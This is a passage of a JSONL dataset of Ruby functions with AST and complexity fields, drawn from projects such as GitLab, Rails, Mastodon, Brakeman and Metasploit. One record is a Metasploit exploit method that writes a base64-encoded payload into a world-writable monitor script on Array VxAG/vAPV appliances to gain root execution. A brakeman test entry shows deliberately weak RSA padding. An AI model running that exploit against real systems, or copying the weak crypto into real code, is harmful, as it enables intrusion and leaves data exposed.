",\"children\":[\"containers\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"securityContext\"]},{\"type\":\"lvar\",\"children\":[\"container_security_context\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pod_spec\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"initContainers\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"init_container\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"init_container\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"securityContext\"]},{\"type\":\"lvar\",\"children\":[\"container_security_context\"]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"fe8dff29-2902-4145-accd-492230fac103"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/concern/cached_counting_spec.rb","start_line":12,"raw_source":"def self.write_cache!(key, count, date)\n    data[key] = count\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"write_cache!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"count\"]},{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}","id":"a0b4b8df-4b8d-4d3f-a1e7-d137b2fc8461"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/wiki.rb","start_line":285,"raw_source":"def find_sidebar(version = nil)\n    find_page(SIDEBAR, version)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_sidebar\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"version\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"find_page\",{\"type\":\"const\",\"children\":[null,\"SIDEBAR\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}","id":"17ad7d8c-134e-45da-81df-7b96cef408c2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/wiki_helper.rb","start_line":56,"raw_source":"def wiki_attachment_upload_url\n    case @wiki.container\n    when Project\n      expose_url(api_v4_projects_wikis_attachments_path(id: @wiki.container.id))\n    else\n      raise TypeError, \"Unsupported wiki container #{@wiki.container.class}\"\n    end\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"wiki_attachment_upload_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wiki\"]},\"container\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},{\"type\":\"send\",\"children\":[null,\"expose_url\",{\"type\":\"send\",\"children\":[null,\"api_v4_projects_wikis_attachments_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wiki\"]},\"container\"]},\"id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TypeError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported wiki container \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wiki\"]},\"container\"]},\"class\"]}]}]}]}]}]}","id":"abaee100-db1a-488f-812d-c7556154e047"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/projects/project_members_helper.rb","start_line":8,"raw_source":"def project_member_header_subtext(project)\n    if can?(current_user, :admin_project_member, project)\n      share_project_description(project)\n    else\n      ERB::Util.html_escape(_(\"Members can be added by project \" \\\n        \"%{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}\")) % {\n          i_open: '<i>'.html_safe, i_close: '</i>'.html_safe\n        }\n    end\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"project_member_header_subtext\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_project_member\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[null,\"share_project_description\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"html_escape\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Members can be added by project \"]},{\"type\":\"str\",\"children\":[\"%{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}\"]}]}]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"i_open\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<i>\"]},\"html_safe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"i_close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"</i>\"]},\"html_safe\"]}]}]}]}]}]}","id":"30dcd850-c754-43ef-99a9-d096364a42da"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/ruby_parser/bm_sexp.rb","start_line":603,"raw_source":"def inspect seen = Set.new\n    if seen.include? self.object_id\n      's(...)'\n    else\n      seen << self.object_id\n      sexp_str = self.map do |x|\n        if x.is_a? Sexp\n          x.inspect seen\n        else\n          x.inspect\n        end\n      end.join(', ')\n\n      \"s(#{sexp_str})\"\n    end\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inspect\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"seen\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seen\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"object_id\"]}]},{\"type\":\"str\",\"children\":[\"s(...)\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seen\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"object_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sexp_str\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Sexp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"inspect\",{\"type\":\"lvar\",\"children\":[\"seen\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"inspect\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"s(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sexp_str\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}","id":"c7b2d344-f7d0-4711-9b35-32e3b1da4b02"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/projects/copy/dependency.rb","start_line":45,"raw_source":"def self.should_copy?(params, check)\n      return false if params[:only].blank?\n\n      params[:only].any? { |key| key.to_sym == check }\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"should_copy?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"check\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_sym\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"check\"]}]}]}]}]}","id":"04fe1d3b-251f-4cb1-aecb-cd5731c0aacb"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/concerns/label_concern.rb","start_line":7,"raw_source":"def index\n    @labels = model.label_list\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@labels\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"label_list\"]}]}]}","id":"7f8fd762-4a88-411a-a713-2d8c9b9667c0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server.rb","start_line":403,"raw_source":"def ui_hostname\n    if MiqEnvironment::Command.is_podified?\n      ENV.fetch(\"APPLICATION_DOMAIN\", nil)\n    else\n      hostname || ipaddress\n    end\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ui_hostname\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqEnvironment\"]},\"Command\"]},\"is_podified?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"APPLICATION_DOMAIN\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hostname\"]},{\"type\":\"send\",\"children\":[null,\"ipaddress\"]}]}]}]}","id":"b58daefc-4ba5-4d80-85b4-ad9e1bdc626e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb","start_line":133,"raw_source":"def build_command\n    mon_temp = rand_text_alphanumeric(10)\n    cmd = Rex::Text.encode_base64('nohup ' + payload.encoded)\n    # Turn debug monitoring off, just in case it's turned on\n    command = '/ca/bin/backend -c \"debug monitor off\"`echo -e \"\\0374\"`;'\n    # Copy the data from monitor.sh to a random tmp file\n    command += \"cat /ca/bin/monitor.sh > /tmp/#{mon_temp};\"\n    # Insert our base64 encoded payload in to the world writable /ca/bin/monitor.sh file\n    command += \"/usr/bin/perl -MMIME::Base64 -le 'print decode_base64(\\\"#{cmd}\\\")' > /ca/bin/monitor.sh;\"\n    # Turn debug monitoring on, which will start the monitor.sh and thus our payload\n    command += '/ca/bin/backend -c \"debug monitor on\"`echo -e \"\\0374\"`;'\n    # Copy monitor.sh data back\n    command += \"cat /tmp/#{mon_temp} > /ca/bin/monitor.sh\"\n\n    command\n  end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"build_command\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mon_temp\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"nohup \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"str\",\"children\":[\"/ca/bin/backend -c \\\"debug monitor off\\\"`echo -e \\\"\\\\0374\\\"`;\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cat /ca/bin/monitor.sh > /tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mon_temp\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/usr/bin/perl -MMIME::Base64 -le 'print decode_base64(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\"\\\")' > /ca/bin/monitor.sh;\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\"]},\"+\",{\"type\":\"str\",\"children\":[\"/ca/bin/backend -c \\\"debug monitor on\\\"`echo -e \\\"\\\\0374\\\"`;\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cat /tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mon_temp\"]}]},{\"type\":\"str\",\"children\":[\" > /ca/bin/monitor.sh\"]}]}]},{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}","id":"2c0c2272-67a5-450f-871f-c509b9981dd0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/exclusion_constraint_test.rb","start_line":190,"raw_source":"def test_exclusion_constraint_violation_on_update\n          @connection.add_exclusion_constraint :invoices, \"daterange(start_date, end_date) WITH &&\", using: :gist, name: \"invoices_date_overlap\"\n\n          Invoice.create(start_date: \"2020-01-01\", end_date: \"2021-01-01\")\n          invoice = Invoice.create(start_date: \"2022-01-01\", end_date: \"2023-01-01\")\n\n          assert_raises(ActiveRecord::ExclusionViolation) do\n            invoice.update(start_date: \"2020-12-31\", end_date: \"2021-01-01\")\n          end\n        end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_exclusion_constraint_violation_on_update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_exclusion_constraint\",{\"type\":\"sym\",\"children\":[\"invoices\"]},{\"type\":\"str\",\"children\":[\"daterange(start_date, end_date) WITH &&\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"using\"]},{\"type\":\"sym\",\"children\":[\"gist\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"invoices_date_overlap\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Invoice\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_date\"]},{\"type\":\"str\",\"children\":[\"2020-01-01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_date\"]},{\"type\":\"str\",\"children\":[\"2021-01-01\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"invoice\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Invoice\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_date\"]},{\"type\":\"str\",\"children\":[\"2022-01-01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_date\"]},{\"type\":\"str\",\"children\":[\"2023-01-01\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ExclusionViolation\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invoice\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_date\"]},{\"type\":\"str\",\"children\":[\"2020-12-31\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_date\"]},{\"type\":\"str\",\"children\":[\"2021-01-01\"]}]}]}]}]}]}]}","id":"a2088f4d-40ae-478b-bfda-71e692d08afc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/association.rb","start_line":102,"raw_source":"def target=(target)\n        @target = target\n        loaded!\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"target=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@target\",{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"send\",\"children\":[null,\"loaded!\"]}]}]}","id":"e9dbce86-9f10-4314-906b-3f81a9886895"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/activitypub/process_status_update_service.rb","start_line":340,"raw_source":"def update_counts!\n    likes = @status_parser.favourites_count\n    shares =  @status_parser.reblogs_count\n    return if likes.nil? && shares.nil?\n\n    @status.status_stat.tap do |status_stat|\n      status_stat.untrusted_reblogs_count = shares unless shares.nil?\n      status_stat.untrusted_favourites_count = likes unless likes.nil?\n\n      status_stat.save if status_stat.changed?\n    end\n  end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"update_counts!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"likes\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status_parser\"]},\"favourites_count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"shares\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status_parser\"]},\"reblogs_count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"likes\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shares\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"status_stat\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status_stat\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shares\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_stat\"]},\"untrusted_reblogs_count=\",{\"type\":\"lvar\",\"children\":[\"shares\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"likes\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_stat\"]},\"untrusted_favourites_count=\",{\"type\":\"lvar\",\"children\":[\"likes\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_stat\"]},\"changed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_stat\"]},\"save\"]},null]}]}]}]}]}","id":"d45c696a-aff3-4a5d-9e11-a8ee10f3941d"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/extensions/action/slice_configured_action.rb","start_line":155,"raw_source":"def actions_config\n          slice.config.actions\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"actions_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slice\"]},\"config\"]},\"actions\"]}]}","id":"a2ac142b-4e8e-445a-921d-22875044b628"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/serializers/ai_usage_serializer.rb","start_line":16,"raw_source":"def features\n    object.feature_breakdown.as_json(\n      only: %i[\n        feature_name\n        usage_count\n        total_tokens\n        total_cached_tokens\n        total_request_tokens\n        total_response_tokens\n        input_spending\n        output_spending\n        cached_input_spending\n      ],\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"features\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"feature_breakdown\"]},\"as_json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"feature_name\"]},{\"type\":\"sym\",\"children\":[\"usage_count\"]},{\"type\":\"sym\",\"children\":[\"total_tokens\"]},{\"type\":\"sym\",\"children\":[\"total_cached_tokens\"]},{\"type\":\"sym\",\"children\":[\"total_request_tokens\"]},{\"type\":\"sym\",\"children\":[\"total_response_tokens\"]},{\"type\":\"sym\",\"children\":[\"input_spending\"]},{\"type\":\"sym\",\"children\":[\"output_spending\"]},{\"type\":\"sym\",\"children\":[\"cached_input_spending\"]}]}]}]}]}]}","id":"11a464e6-da10-4128-8fad-d74629921f39"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/mapper.rb","start_line":21,"raw_source":"def process\n            return [] if @locations.empty?\n\n            context.logger.instrument(:config_mapper_process) do\n              process_without_instrumentation\n            end\n          end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"process\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@locations\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"logger\"]},\"instrument\",{\"type\":\"sym\",\"children\":[\"config_mapper_process\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"process_without_instrumentation\"]}]}]}]}","id":"4895f3cb-553a-4cbc-a156-a0a2a1aa19b5"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails7/lib/some_lib.rb","start_line":2,"raw_source":"def some_rsa_encrypting\n    public_key = OpenSSL::PKey::RSA.new(\"grab the public 4096 bit key\")\n    encrypted = Base64.encode64(public_key.public_encrypt(payload.to_json)) # Weak padding mode default\n    public_key.private_decrypt(Base64.decode64(encrypted)) # Weak padding mode default\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"some_rsa_encrypting\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"public_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"PKey\"]},\"RSA\"]},\"new\",{\"type\":\"str\",\"children\":[\"grab the public 4096 bit key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encrypted\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"encode64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"public_key\"]},\"public_encrypt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"to_json\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"public_key\"]},\"private_decrypt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"decode64\",{\"type\":\"lvar\",\"children\":[\"encrypted\"]}]}]}]}]}","id":"6ff9559b-283b-4601-96bd-a69ffc2abb5e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kubernetes/kube_client.rb","start_line":185,"raw_source":"def build_kubeclient(api_group, api_version)\n        ::Kubeclient::Client.new(\n          join_api_url(api_prefix, api_group),\n          api_version,\n          **kubeclient_options\n        )\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_kubeclient\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"api_group\"]},{\"type\":\"arg\",\"children\":[\"api_version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Kubeclient\"]},\"Client\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"join_api_url\",{\"type\":\"send\",\"children\":[null,\"api_prefix\"]},{\"type\":\"lvar\",\"children\":[\"api_group\"]}]},{\"type\":\"lvar\",\"children\":[\"api_version\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kubeclient_options\"]}]}]}]}]}","id":"9c92a7d5-20d5-46a7-b041-92f991d8b099"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/handler/reply_processing.rb","start_line":8,"raw_source":"def project\n          return @project if instance_variable_defined?(:@project)\n\n          if project_id\n            @project = Project.find_by_id(project_id)\n            @project = nil unless valid_project_slug?(@project)\n          else\n            @project = Project.find_by_full_path(project_path)\n          end\n\n          @project\n        end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@project\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_id\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find_by_id\",{\"type\":\"send\",\"children\":[null,\"project_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_project_slug?\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]},null,{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find_by_full_path\",{\"type\":\"send\",\"children\":[null,\"project_path\"]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}","id":"be742b56-2d52-4f40-8bd9-eea784630f0b"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/rails/app/app_generator.rb","start_line":96,"raw_source":"def version_control\n      if !options[:skip_git] && !options[:pretend]\n        run git_init_command, capture: options[:quiet], abort_on_failure: false\n      end\n    